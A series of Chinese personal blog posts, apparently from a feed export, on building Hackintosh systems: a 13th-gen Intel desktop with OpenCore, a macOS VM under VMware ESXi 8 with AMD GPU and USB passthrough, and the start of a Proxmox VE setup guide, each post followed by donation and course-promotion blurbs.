使用截止目前最新的 macOS 13.4 版本进行性能测试,分别使用了 Geekbench5 和 Geekbench6 进行跑分测试。

Geekbench5 单核:2243 多核:15662

Geekbench6 单核:2896 多核:13880

CINEBENCG R23 CPU 单核:25055 分,多核 2055 分:

和 Windows 下相比基本上是没损耗的,大小核都完全利用了起来。

GPU 测试

RX 570 8GB 涡轮卡在 Geekbench5 下跑分 45794 分,Geekbench6 下跑分 53074 分:

对我搞 IT 的来说,这个 RX 570 有点性能过剩了,写代码、看视频、轻度剪辑哪需要这么强的显卡呀!

硬盘测试

虽然官方的 MacPro 7,1 机型还没搭配过 PCIe 4.0 的硬盘,但并不妨碍我们的黑苹果主机跑满了 PCIe 4.0 硬盘的极速:

驱动情况

概览

截止本文发布的时间,使用最新的 OpenCore 0.9.2 引导,安装了最新的 macOS Ventura 13.4 系统:

整机的体验还是非常丝滑顺畅的(虽然之前的 i7-10700 主机也很丝滑……)

CPU

CPU 的频率变频正常,超到 5.8Ghz 看着确实挺爽的:

满载运行,发现大小核均正常工作,20 个核心全部跑满:

GPU

虽然 13 代的核显无法被驱动,但是使用了 Mac Pro 7,1 工作站机型,有独显的话解码还都可以正常工作的:

内存

使用 OC 自定义了内存数据,这样 Mac Pro 7,1 机型不会产生内存告警,而且看上去也很爽:

USB

通过 @乌龙蜜桃来一打 分享 macOS 13 USB 解锁补丁) ,也可以定制超过 15 个端口数量的 USB 接口:

<dict>      <key>Arch</key>      <string>Any</string>      <key>Base</key>      <string></string>      <key>Comment</key>      <string>USB All Port</string>      <key>Count</key>      <integer>0</integer>      <key>Enabled</key>      <true/>      <key>Find</key>      <data>QYPlD0HT5UQJ6w==</data>      <key>Identifier</key>      <string>com.apple.iokit.IOUSBHostFamily</string>      <key>Limit</key>      <integer>0</integer>      <key>Mask</key>      <data></data>      <key>MaxKernel</key>      <string></string>      <key>MinKernel</key>      <string>22.0.0</string>      <key>Replace</key>      <data>QYPlP0HT5UQJ6w==</data>      <key>ReplaceMask</key>      <data></data>      <key>Skip</key>      <integer>0</integer></dict>

声卡

声卡工作比较完美,支持前置音频接口自动识别为耳机:

网卡

有线网卡

目前板载的 2.5G 有线网卡,使用 LucyRTL8125Ethernet.kext 驱动,基本上跑满了,测试和 Windows 下数据一样:

无线网卡

94360CD 网卡的 WiFi 速率正常,无线和蓝牙都是免驱正常驱的,隔空投送正常使用:

鼠标可以正常操作附近的 MacBook 或者 iPad:

且正常无线镜像或者扩展 MacBook 的显示器是没问题的:

传感器

CPU、GPU、风扇转速以及硬盘温度等传感器均正常工作:

睡眠

支持完美的深度睡眠,且 WOL 网络唤醒正常工作,测试了一下,睡眠的时候整机功耗只有 2W:

生态体验

iCloud 登录正常,AppStore 体验丝滑:

短信和接力正常工作:

效果视频

写这篇文章的同时,也单独在 B 站投稿了视频,主要说明了本次配置的驱动效果情况:

https://www.bilibili.com/video/BV1H8411Z7AJ/

驱动分享

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>上一次写<a href="/2021/07/opencore.html">这种文章</a>还是在两年前,如今物是人非事事休,欲语泪先流。之前陪伴我比较久的 i7-10700 台式机早已出掉回血换了个锻炼身体骑行的 IMPALA X CAMP 公路车,每天上下班骑行 40多 km 确实很健康,但是夏天到了我的 Intel Macbook Pro 16 也越来越热没法干活了~ 不行,还是得整一个性能强悍的台式机才行!顺便满足一点点游戏需求……</p>
【全球首发】VMware ESXi 8.X 黑苹果安装优化教程 https://www.sqlsec.com/2023/04/esxi.html 2023-04-15T03:54:19.000Z 2024-05-23T00:00:46.000Z

本文理论上是全球首发了,因为谷歌确实没有搜索到有人 ESXi 黑苹果直通 A 卡成功的案例,而且也没有看到有人使用 OpenCore 来引导 ESXi 虚拟的。大多数都是 N 卡直通黑苹果成功的,但是 N 卡从 macOS 10.14 系统开始基本上就是残废的状态,所以本文直通 A 卡成功以及使用 OC 引导虚拟机的姿势对全球黑苹果和虚拟化玩家来说还是有一定意义的,理论上来说 ESXi 7.X 和 6.X 也是可以成功的,这个得需要网友们自己去尝试看看了。

写在前面

首先得先感谢一下 @darkless 好友的经验,让我在 ESXi 黑苹果直通这少走了很多弯路。

最近恰好 PVE 下黑苹果直通出了点小问题,那么乘此机会来尝试一下Vmware ESXi 8 看看。

准备工作

  • ESXi 8.X 的安装镜像

    • 目前 ESXi 原生 8.x 的镜像无法 macOS Unlocker 无解
    • 如果不 macOS Unlocker 一下的话,开启 macOS 虚拟机会无限重启
    • 目前网上主流办法是从 ESXi 7.X 镜像提取苹果虚拟机部分重新封装到新的 8.X 镜像中
    • 付费捷径:https://pan.baidu.com/s/1aEeM9uTyQiu2dRy-gq3dbA?pwd=<拖到文章最后 付费捷径 目录>
    • 免费方法:下载网上的 ESXi 7.X 镜像用其实也不错,也可以黑苹果,稳定性还高
  • macOS 的安装镜像

  • 免驱的 AMD 独显 1 个:RX 4X0、RX 5X0、RX 5X00、RX 6X00 等

  • 主板 BIOS 建议开启如下设置:

    • 开启 Intel VMX 虚拟化技术(PCIe 硬件件直通必须)
    • 开启 VT-d (PCIe 硬件直通必须)
    • 开启 SR-IOV 虚拟化技术 (高效先进的虚拟技术)
    • 开启 Above 4G Decoding(如果玩 vGPU 方案需要开启这个选项)
    • 开启 Numa (多路 CPU 建议开启,提高多路 CPU 运行效率,合理分配负载)
    • 开启 x2APIC(PCIe 硬件直通需要)

安装 ESXi

首先使用 Windows 下经典的 Rufus 制作一下 ESXi 启动盘

然后 ESXi 没啥可说的,谷歌一下,你就知道,本文重点的 ESXi 下的黑苹果,不能主次颠倒了。

很快啊,就安装好了,ESXi 8 的登录界面变了不少,符合现在的审美:

里面的界面布局感觉是没啥变化的:

安装 macOS

上传镜像

我们玩黑苹果的基本上都是搞的 dmg 镜像,自行转换成 img 镜像后上传到 ESXi 的存储空间里面去:

创建虚机

因为目前 esxi unlocker 项目还不完全支持 ESXi 8,所以这里虚拟机的兼容性设置成 ESXi 7.0 U2:

macOS 版本选择 macOS 12,时间上我们使用 macOS 12 安装 macOS 13 Ventura 也是完全 OK 的。

硬件这里设置 8 核 16GB,为了方便后面直接直通显卡,我们这里需要勾选一下「预留所有客户机内存」选项:

为了更好的网络性能,网卡设置成 VMXNET3 万兆类型,然后手动选择我们之前上传好的 iso 镜像文件:

系统安装

macOS 系统安装对于玩过黑苹果的用户来说很简单了,如果你没有黑苹果基础的话,关于 macOS 安装部分可以参考我的黑苹果专题文章:黑苹果系统安装 - 国光的 PVE 环境搭建教程

ESXi 方便就方便在还可以使用 Vmware Workstation 连接管理:

很快我们系统就安装好了:

安装 Vmware Tools

刚刚安装好的话,显存只有 3MB,虽然后面我们会直通独显,但是安装一下 Vmware Tools 总比没有安装的好。我们如果手动安装 Vmware Tools 的话,多半还是会提示我们:

我们去官方下载页面下载一个 darwin.iso 即可:

没有 VMware 账号的话可下载国光我上传到蓝奏云的链接

手动安装一下,根据提示引导一个个允许扩展即可:

安装好之后显存就是 128MB 了,而且 Vmware Workstation 去连接的话也会自适应窗口调整分辨率的大小:

直通 USB

首先在「管理」-「硬件」-「PCI 设备」-「搜索 USB」将我们的 USB Controller 切换直通,使其处在活动状态:

直通 USB 控制器

这样我们可以简单一点,以直通 PCI 的形式,直接将 USB 控制器添加到 VM 虚拟机中:

这种确实是简单高效的,仔细想一下,我们需要直通 USB 的 VM 没有这么多,最多也就是 Windows 打游戏和 macOS 黑苹果办公,恰好我这边正好有两个 USB Controller,每个 VM 占用一个也是个很不错的方案。

直通部分 USB 设备

其实通过上述一番操作之后,虚拟机系统也可以来识别一些 USB 设备信息,我们选择添加 USB 设备即可直通:

但是这些设备并不是很齐全,比如这里就确实了键盘和鼠标的 USB 信息。

直通任意 USB 设备

首先 ESXi 开启服务模式,SSH 进入 ESXi 的 shell 环境,使用

lsusb

查看列出目前 ESXi 宿主机的 USB 设备信息:

将上述需要直通的 USB 信息整理出下面的表格:

厂商 ID设备 ID设备说明
0d8c0014USB 音频设备
08bb2902USB 音频设备
0f390611IKBC Poker 键盘
046dc08b罗技 G502 鼠标

usb.quirks.device<编号> = "0x<厂商ID>:0x<设备ID> allow" 的格式,添加到 /etc/vmware/config 文件后面

vi /etc/vmware/config

根据我的情况文件末尾添加如下内容:

usb.quirks.device0 = "0x0d8c:0x0014 allow"usb.quirks.device1 = "0x08bb:0x2902 allow"usb.quirks.device2 = "0x0f39:0x0611 allow"usb.quirks.device3 = "0x046d:0xc08b allow"

继续编辑 /bootbank/boot.cfg 启动引导文件,禁用掉VMkernel对上述设备获取控制权。:

vi /bootbank/boot.cfg

kernelopt 参数后面添加如下格式:

CONFIG./USB/quirks=0x<厂商ID>:0x<设备ID>::0xffff:UQ_KBD_IGNORE:0x<厂商ID>:0x<设备ID>::0xffff:UQ_KBD_IGNORE

最终国光我编辑的内容如下:

CONFIG./USB/quirks=0x0d8c:0x0014::0xffff:UQ_KBD_IGNORE:0x08bb:0x2902::0xffff:UQ_KBD_IGNORE:0x0f39:0x0611::0xffff:UQ_KBD_IGNORE:0x046d:0xc08b::0xffff:UQ_KBD_IGNORE

操作完成后,重启 ESXi 宿主机,然后我们就可以通过编辑虚拟机设置来灵活地添加 USB 键鼠设备了:

直通后我们就可以使用键盘和鼠标操作我们的黑苹果虚拟机了,进系统也发现可以正常识别了我们的 USB 设备:

直通网卡

因为 WiFi 无线网卡本身是走 PCIe 接口传输数据的,所以这里直通就很简单了,切换网口的直通状态,然后直通对应的 PCI 设备即可:

因为直通了免驱无线网卡的 WiFi 和蓝牙,所以理所应当的我们可以正常使用 macOS 原生的隔空投送和接力功能:

直通独显

补充一下,N 卡直通会比较简单,没那么曲折,但是众所周知 N 卡在 macOS 系统上基本上是半残废的状态,要想很棒的黑苹果体验,还是得准备一个 AMD 免驱独显才可以。

下面说到重头戏了,就是直通 AMD 免驱独显,本次使用的 RX 570 公版涡轮显卡来进行演示,实际上好友 darkless 他使用的是 RX 6600 也是成功直通使用的,而且不像黑苹果物理主机一下需要添加防黑苹果参数,这一点还是有点小意外的,话不多说,开始正式教程。

切换直通状态

直通 PCI 显卡

直通一下显卡相关的设备,一般就是显卡本身以及 HDMI 音频,部分带 Type-C 的显卡可能还需直通一下 Type-C 部分:

实际问题情况

显示器黑屏没有反应,但是系统报告信息里面已经识别到了 A 卡了,可惜就是无法驱动:

正确直通姿势

可以看到上一步我们的操作 AMD 的独显肯定是直通成功了的,否则也不会在系统报告里面看到我们的独显了,但是理论上我们的 A 卡肯定都是免驱的,那么这是为什么呢?

不铺垫了,直接在虚拟机的高级选项里面添加如下两个变量即可:

参数参数值
pciPassthru0.opromEnabledTRUE
pciPassthru0.filename显卡 ROM 的路径

其中 0 指的是直通独显的 PCie 位置索引,懂编程的都明白,计算机的索引都是从 0 开始,所以这里写 0

以上一番操作过后,顺利的话大概率是成功的,下面是直通的一些 Tips 具体还得大家自己去实践总结:

  • ESXi 下黑苹果的 AMD 5000 和 6000 系列显卡可能无需 Whatevergreen.kexts 的放黑屏参数也可正常显示
  • 开机没有苹果 logo,但是出现进度条的话,大概率是成功的,耐心等待即可
  • 如果直通显示失败,不妨 ESXi 开机前拔掉 A 卡的显示器连接线,ESXi 开机成功后再插上显示器线
  • ROM 可以从 VBIOS 网上下载,当然最好是 Windows 下手动使用 GPU-Z 提取最稳
  • 显卡直通 HiDPi 或者显示颜色不正常的话,不妨拔插一下显示器连接线
  • 确定直通成功后,将 svga.present 参数改为 FALSE,即可关闭内置的虚拟显示器

直通效果

无论是自己尝试,还是知识付费尝试都需要经历一番操作的,无非是知识付费走的弯路要少一点,但还是需要人力成本去解决问题,最终我们的 ESXi 成功直通了 AMD 显卡以及免驱的 BCM 博通无线网卡,以及直通了 USB 任意设备,最终我们的 ESXi 黑苹果基本上完美了,其实也足够单刃生产力工具了!!!

系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。

最后来看看我们这个 ESXi 的直通效果怎么样吧:

系统信息

Vmware7,1 机型,系统报告里面可以明显看出这是一个虚拟机:

显卡信息

AMD RX 570 驱动正常,DP 接口正常带动 4K 120Hz 屏幕,且 HiDPi 原生识别正常:

网卡速率

ESXi 下使用网络类型默认 macOS 下免驱,这 10G 网卡可以妥妥的万兆网卡速率哦:

硬盘相关

ESXi 下的虚拟硬盘在 macOS 下识别为 SATA 类型,使用「厚置备,延迟置零」的情况下,手上这个 S500 Pro 1TB 速度测试都挺正常的,和直通的效果差不多:

软件测试

QQ 也可以正常打开,这一点要单独提一下,PVE 黑苹果使用 Virto 打不开 QQ 和一些软件,只能切换 SATA 类型硬盘使用,但是 4k 读写会变得巨慢,体验不好;ESXi 下黑苹果默认就是 SATA 硬盘,所以软件没遇到啥兼容性问题,且读写速度和真实的硬盘速度差不多,没啥损耗。

无线蓝牙

无线和蓝牙均正常使用:

隔空投送

隔空投送正常发送和接受文件:

Hackintool

三码序列号追求完美的话需要想办法重新定制一下,导致 VDA 解码失败,这里挖个坑,国光我后面会填的:

这里可以看到基本上设备都正常识别和驱动的:

不过这里 USB 驱动方式可能是 Vmware 自己定制的,Hackintool 虽然识别不到 USB,但是 macOS 系统报告里面可以正常识别:

Sensei

Sensei 也正常打开使用,我记得 PVE 下好像这块是也有点问题的:

传感器

因为这是虚拟机,所以除了显卡,其他是没有传感器的,但是比较有意思的腾讯柠檬居然可以显示这个温度信息,不过这可能是假的信息,一直不会动:

睡眠唤醒

虚拟机下讨论睡眠唤醒的意义好像不大,因为宿主机一直得开机,不过让人惊讶的是,这个 ESXi 黑苹果是支持睡眠唤醒的,晃晃鼠标即可唤醒睡眠状态下的黑苹果虚拟机。

睡眠的瞬间硬盘会读写存放数据,此时 CPU 使用 ESXi 下看可以看到还是以低频工作,不过此时显示器和鼠标都是熄灯的,确实和真的睡眠一样,且可以正常被晃鼠标或者敲键盘唤醒:

ToDoList

  • 自定义 CPU 型号,解决系统未知问题
  • 注入白果三码信息,更接近白苹果体验
  • 研究一下 ESXi 使用 OpenCore 的可能性
  • 深度测试一下 ESXi 的日常性能表现
  • 单独做一期视频记录分享一下

最终更新

通过上述的效果,我们总结几个目前黑苹果不完美的地方和缺点:

  1. 序列号和机型无效,导致解码显示异常
  2. ESXi 引导只能保证大多数人的黑苹果体验,如果你有很多需要黑苹果下额外驱动的硬件就很蛋疼了

其实以上问题如果使用 OpenCore 引导的话都不是问题,那么 ESXi 能否使用 OpenCore 引导呢?回答是:可以!下面让国光我缓缓道来。

小试牛刀

使用下文分享的 OpenCore EFI 引导,使用 OCC 编辑器添加到 EFI 引导分区下,然后勾选「强制执行 BIOS 设置」:

然后手选择 OC 引导:

「BIOS 首页」 - 「Enter Setup」-「Boot from a file」-「找到 EFI 分区选择 BOOT/BOOTx64.efi」即可成功加载 OC 的引导:

然后也顺利开机,OC 引导成功,机型和三码都被我们成功修正了,CPU 型号也正常识别了:

Bingo! 这样子应该又是全球首发了吧,顺便庆祝我的专项「黑苹果教程」关键词登上谷歌第一:

引导顺序

手动进 Vmware 虚拟机的 BIOS 里面添加我们的 OC 引导,然后将其设置为第 1 启动:

即可正常通过我们的 OC 引导 macOS 系统了

EFI 分享

其实 Vmware 下的 OpenCore 并不难,因为 Vmware ESXi 的环境基本上就是完美的,我们使用 OC 只是简单修正一下即可。

下面就分享一下国光我使用本机的虚拟环境定制的 ESXi OpenCore EFI,分享给网友们参考:

EFI 开源项目地址https://github.com/sqlsec/Vmware-ESXi-OpenCore

主要优化了如下内容:

  1. 添加 OC 引导主题,倒计时 5 秒默认进入系统(其实单系统 甚至都可以不开引导菜单)
  2. 使用 OC 注入了正确的机型,注入了正确的序列号
  3. 修正了 MacPro 7,1 机型的内存告警问题
  4. 其他零零散散的优化等

最终效果

macOS 13 的主要更新就是这个台前调度了:

显示器正常点亮,因为是 4K 显示器 HiDPi 默认开启:

MacPro 工作站机型的内存需要自己定制一下,解决了内存告警问题,EFI 里面已经定制好了,网友们也可以根据自己的事情情况修改一下:

最后贴一个最终效果图吧,总之目前体验下来和物理黑苹果没啥区别,Apple ID 也正常登录,隔空投送呀、WiFi 蓝牙都正常使,总之就是这么丝滑:

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>本文理论上是全球首发了,因为谷歌确实没有搜索到有人 ESXi 黑苹果直通 A 卡成功的案例,而且也没有看到有人使用 OpenCore 来引导 ESXi 虚拟的。大多数都是 N 卡直通黑苹果成功的,但是 N 卡从 macOS 10.14 系统开始基本上就是残废的状态,所以本文直通 A 卡成功以及使用 OC 引导虚拟机的姿势对全球黑苹果和虚拟化玩家来说还是有一定意义的,理论上来说 ESXi 7.X 和 6.X 也是可以成功的,这个得需要网友们自己去尝试看看了。</p>
国光的 PVE 生产环境配置优化记录 https://www.sqlsec.com/2022/04/pve.html 2022-04-03T15:41:15.000Z 2024-05-23T00:05:54.000Z

好像有一段时间没有怎么搞技术了,博客也断更了有一段时间,所以得调整下自己了。一般这个时候我就喜欢收拾家庭卫生,搞搞电脑系统配置,有善始者实繁,好好立 Flag,就好像这些准备好之后真的会认真搞技术一样。具体可以坚持多久我也不清楚,总之先做着看看吧,所以这篇 PVE 虚拟化生产环境配置的文章就此诞生了。

PVE 简介

PVE 的全称是 Proxmox Virtual Environment,是一个基于 QEMU/KVM 的 Linux 下的虚拟机,相比于传统的 Vmware 等虚拟机,主要的优点就是支持硬件直通了。硬件直通这意味着可以把你的显卡等设备直通到虚拟机中,给你的虚拟机注入鸡血,再也不用忍受传统虚拟机孱弱的显卡图形性能了!物理机足够强的话,虚拟机的使用体验基本上也不会差的。如果你还有多显示器的话,无需重启切换系统,就可以一边 Windows 下畅玩 3A 大作游戏,一边使用 macOS 进行视频剪辑渲染,再一边使用 Linux 进行编程开发等,真就工作生活两不误,让你的冗余的电脑配置性能得到充分的释放利用。

硬件概览

先看下国光我目前的主要硬件情况:

硬件型号规格备注
CPUI7-10700 8核16线程10 代是黑苹果的绝唱了
内存64GB DDR4 2666Mhz内存插满了就得利用起来呀
显卡-1蓝宝石 RX6600XT 白金版物理黑苹果或者 PVE Windows 使用
显卡-2迪兰恒进 RX470 4GB物理黑苹果或者 PVE macOS 使用
SSD-1WD SN570 1TB专门安装 PVE 系统
SSD-2WD SN550 512GB物理黑苹果专用
HDD-1WD 机械 1TB做 Exfat 格式数据中转使用
HDD-2希捷 2TB做资料存储私有
HDD-3/4两个希捷 2TB组 Raid1 做重要资料备份
显示器-127寸 4k IPS 显示器可控 PVE macOS 使用
显示器-228寸 4k 144Hz IPS 显示器可供 PVE Windows 使用
显示器-315.6寸 4k 触控便携显示器灵活调度使用
妙控板妙控板 2 代 新款物理黑苹果和 PVE 黑苹果使用
笔记本Macbook Pro 16 寸 2019 款本文就是在这台机器上写的
平板iPad Pro 11寸iPad 也可以进 Web 界面管理 PVE
键盘搭配 1IKBC Poker + 罗技 G102PVE macOS 黑苹果使用
键鼠搭配 2客制化键盘 + 罗技 G304 + Xbox one 手柄PVE Windows 下使用

可以看到国光我目前的配置还是很适合做 PVE 的,不体验一下可惜了:

参考资料

另一个比较巧的是 PVE 目前黑苹果已经算是比较成熟的了,不会像之前我搞双屏笔记本黑苹果那样,完全没有任何可参考的资料,踩了很多坑。下面是国光我学习 PVE 中一些很宝贵的资料,基本上结合这些资料都可以很成功的

PVE 安装

PVE 环境

PVE 其实是基于 Debian 封装的,但是不建议大家先安装 Debian 再安装 PVE,这样会给自己找很多不必要的麻烦。建议直接使用 PVE 官方的镜像,官方镜像实际上就是集成了 PVE 的最小化 Debian 环境,完全不用自己去配置安装,非常方便。

BIOS 设置

BIOS 主要关注几个点:

  • 打开,Intel® Virtualization Technology for Directed I/O (VT-d) 的缩写,I/O 的虚拟化技术
    • 硬件直通必备的开关
  • 关闭,Above 4G decoding,4G 以上解码
    • 显卡直通到时候需要关闭(虽然物理机黑苹果建议大家打开)

选择镜像

官方 ISO 镜像下载地址:https://www.proxmox.com/en/downloads/category/iso-images-pve

本次安装使用的并不是最新的 7.1 版本而是 7.0-2 版本,B 站司波图的 PVE 黑苹果视频教程提到过这一点,起初我还不信,最后果然翻车了,显卡直通 PVE macOS 的时候 OC 直接卡日志,因为这个是一个虚拟机环境,日志排错起来难度非常高,我直接放弃了,最后我老老实实安装了这个 7.0-2 版本了。

U 盘制作

balenaEthcher 直接写入到 U 盘就完事儿了,或者 Windows 下的 Rufus 也都是不错的制作启动盘的工具,硬核的话直接使用原生的 dd 命令写入也可以的。

安装流程

整个 PVE 安装过程很简单,所以下面只放关键的截图。首先选择一个你准备好安装 PVE 的整个磁盘,我选择的是 1TB 的 SN570:

设置 PVE 的 root 用户的密码,因为 PVE 是开源免费软件,邮箱啥的填自己的是没关系的:

选择好自己的网卡,然后配置 1 个静态 IP,根据自己的实际情况配置网关、DNS 等:

最后没问题的话,点击「Install」安装完成自动重启就安装完毕了:

硬盘速度快的话,整个过程安装只需要 5 分钟左右。

完成效果

很快啊,我们就安装完成了,重启即可自动进入 PVE 系统,默认是没有图形化界面的,非常简约。虽然我们可以在这里直接登录操作 PVE 系统:

但是这样不是很优雅,所以我们常常上面标记的 Web 地址去管理访问:

至此 PVE 就大功告成了,下面准备来挑战一下 PVE 黑苹果吧。

PVE 黑苹果(上)

PVE 安装黑苹果的优势比较明显,因为大家虚拟出的环境基本上是差不多的,所以基本上不挑剔硬件,那么就可以直接使用别人配置好的 OpenCore 引导轮子了,如果追求完美性能的话,也只需要准备 1 个 macOS 免驱的独显即可。

准备安装镜像

OpenCore 引导

开源项目地址:https://github.com/thenickdude/KVM-Opencore/releases

直接下载解压然后上传到 PVE 的 ISO 镜像库即可

官方恢复镜像

这种方式用于在线安装 macOS 的原版镜像,优点是纯净,但是对网速比较差的网友不是很友好。

开源项目地址:https://github.com/thenickdude/OSX-KVM

需要我们自己手动编译生成 Monterey-recovery.img 恢复镜像,使用 Linux 或者 macOS 直接 make 编译即可:

# 拉取项目git clone https://github.com/thenickdude/OSX-KVM.git# 编译恢复镜像cd scripts/montereymake Monterey-recovery.img# 如果你网速很快的话 直接构建完整版镜像也是 OK 的 (可选操作)make Monterey-full.img

最后上传 Monterey-recovery.img 到 PVE 的 ISO 镜像库即可

传统黑苹果镜像

对于我们黑苹果职业玩家来说,出来工作随身带个“锤子”是很正常的,所以大家基本上都是有黑苹果镜像的,不过呢我们的镜像是 dmg 格式的后缀,PVE 并不支持 dmg 后缀的镜像上传。解决方法也很简单,直接将镜像重命名为 iso 即可,对,就是这么简单,甚至都不需要使用 dmg2img 这种工具。

最后上传 macOS-12-3.iso 到 PVE 的 ISO 镜像库即可

镜像列表展示

目前一共用到了 3 个镜像,分别是:

国光我偏向于本地安装,速度快一点,这个因人而异,大家自行抉择。

编辑 PVE 配置

为了避免在 macOS 引导期间出现引导循环死机,得先进入 PVE shell 环境运行如下命令:

echo "options kvm ignore_msrs=Y" >> /etc/modprobe.d/kvm.conf && update-initramfs -k all -u

修改完成重启 PVE:

虚拟机的创建

下面是 PVE 虚拟机创建的一些主要细节,PVE 会给你的虚拟机分配一个 VM ID,这个 ID 后面后续会用到:

先添加一个 OpenCore 的引导镜像,系统类别选择「Other」:

显卡选择「VMWare 兼容」,开启 Qemu 代理,BIOS 选择「QVMF UEFI」,机器选择「q35」,详细细节参考下图:

硬盘选择「VirtIO Block」,缓存选择「Write back 不安全」,磁盘大小根据你的需要进行设置,其他默认即可:

CPU 设置好核心数(建议 2、4、8),类别选择「Penryn」,勾选「启用 NUMA」,其他全部默认即可:

根据自己的实际配置分配内存,macOS 12 的话建议至少 8GB 内存:

网络这里选择「VirtIO 半虚拟化」:

创建完虚拟机后先不要着急开机,我们再添加一个我们的之前上传好的黑苹果本地的网站镜像:

如果没有黑苹果本地完整镜像,这一步添加之前的 Monterey-recovery.img 官方恢复镜像也是完全 OK 的(我们常说的在线安装形式)。

虚拟机的配置

我们之前 macOS 的虚拟机的 ID 为 100,所以我们可以通过这个 ID 直接来编辑虚拟机的配置( Web 界面功能有限,直接编辑配置可以更灵活定制):

nano /etc/pve/qemu-server/100.conf 

根据自己的 CPU 类别,在第 1 行添加如下配置:

  • intel CPU
args: -device isa-applesmc,osk="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -smbios type=2 -device usb-kbd,bus=ehci.0,port=2 -cpu host,kvm=on,vendor=GenuineIntel,+kvm_pv_unhalt,+kvm_pv_eoi,+hypervisor,+invtsc
  • AMD CPU
args: -device isa-applesmc,osk="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -smbios type=2 -device usb-kbd,bus=ehci.0,port=2 -cpu Penryn,kvm=on,vendor=GenuineIntel,+kvm_pv_unhalt,+kvm_pv_eoi,+hypervisor,+invtsc,+pcid,+ssse3,+sse4.2,+popcnt,+avx,+avx2,+aes,+fma,+fma4,+bmi1,+bmi2,+xsave,+xsaveopt,check

接着修改我们的 CD 光盘配置,删掉「media=cdrom」换成「cache=unsafe」,最终的配置效果如下:

初始化虚拟机

直接启动我们配置好的虚拟机,可以看到了熟悉的界面:

那么下面就像黑苹果那样正常操作走一遍流程吧。

先进入磁盘工具,选择我们之前创建的 300GB 的磁盘,正常擦除为 APFS 格式:

后面就是常规的安装了,没啥可说的了:

对这个安装不熟悉的网友可以参考我的这篇文章:安装 macOS · 国光的黑苹果安装教程

最后很顺利的就成功安装进入系统了:

可以看到目前的显卡还是没有驱动的,但是问题不大,我们下面的文章接着优化。

PVE 黑苹果(中)

设置开机自启

PVE 因为没有有桌面的原因,每次开启启动都需要通过 Web 界面来启动,我们也可以直接将虚拟机设置开机自启动:

这样在直通显卡的操作后也会和物理机黑苹果有差不点多的体验。

移除安装镜像

安装好系统后就可以不用使用黑苹果镜像了,可以直接移除掉了:

移除镜像后重启。可以看到没有了之前的安装 macOS 选项了,直接就可以选择进入 Macintosh 已经安装好系统的磁盘:

移除引导镜像

回到之前的一张图,可以看到我们的虚拟机默认还挂载了 OpenCore 的 ISO 镜像:

大家可以把他比作是 USB 安装盘,我们以后每次开机总不能都插着 U 盘(ISO)启动吧,这样一点也不优雅,而且这个 ISO 镜像我们也不方便修改定制,所以需要把这个 OpenCore 的 ISO 镜像的 EFI 引导文件夹拷贝到硬盘当中。

使用 OCC 挂载硬盘盒 ISO 光盘后,直接将 ISO 光盘的 EFI 拷贝到硬盘里面即可:

拷贝完成后关机,就可以移除 OpenCore ISO 镜像了:

移除后重启,之后我们就可以直接编辑本地的 EFI 配置文件了,就像物理机黑苹果那样:

有黑苹果基础的同学还可以直接优化 EFI 配置,或者升级 OC 版本,没有基础的同学也没有关系,可以参考我写的这个教程慢慢来:国光的黑苹果安装教程:手把手教你配置 OpenCore

PVE 黑苹果(下)

直通 USB

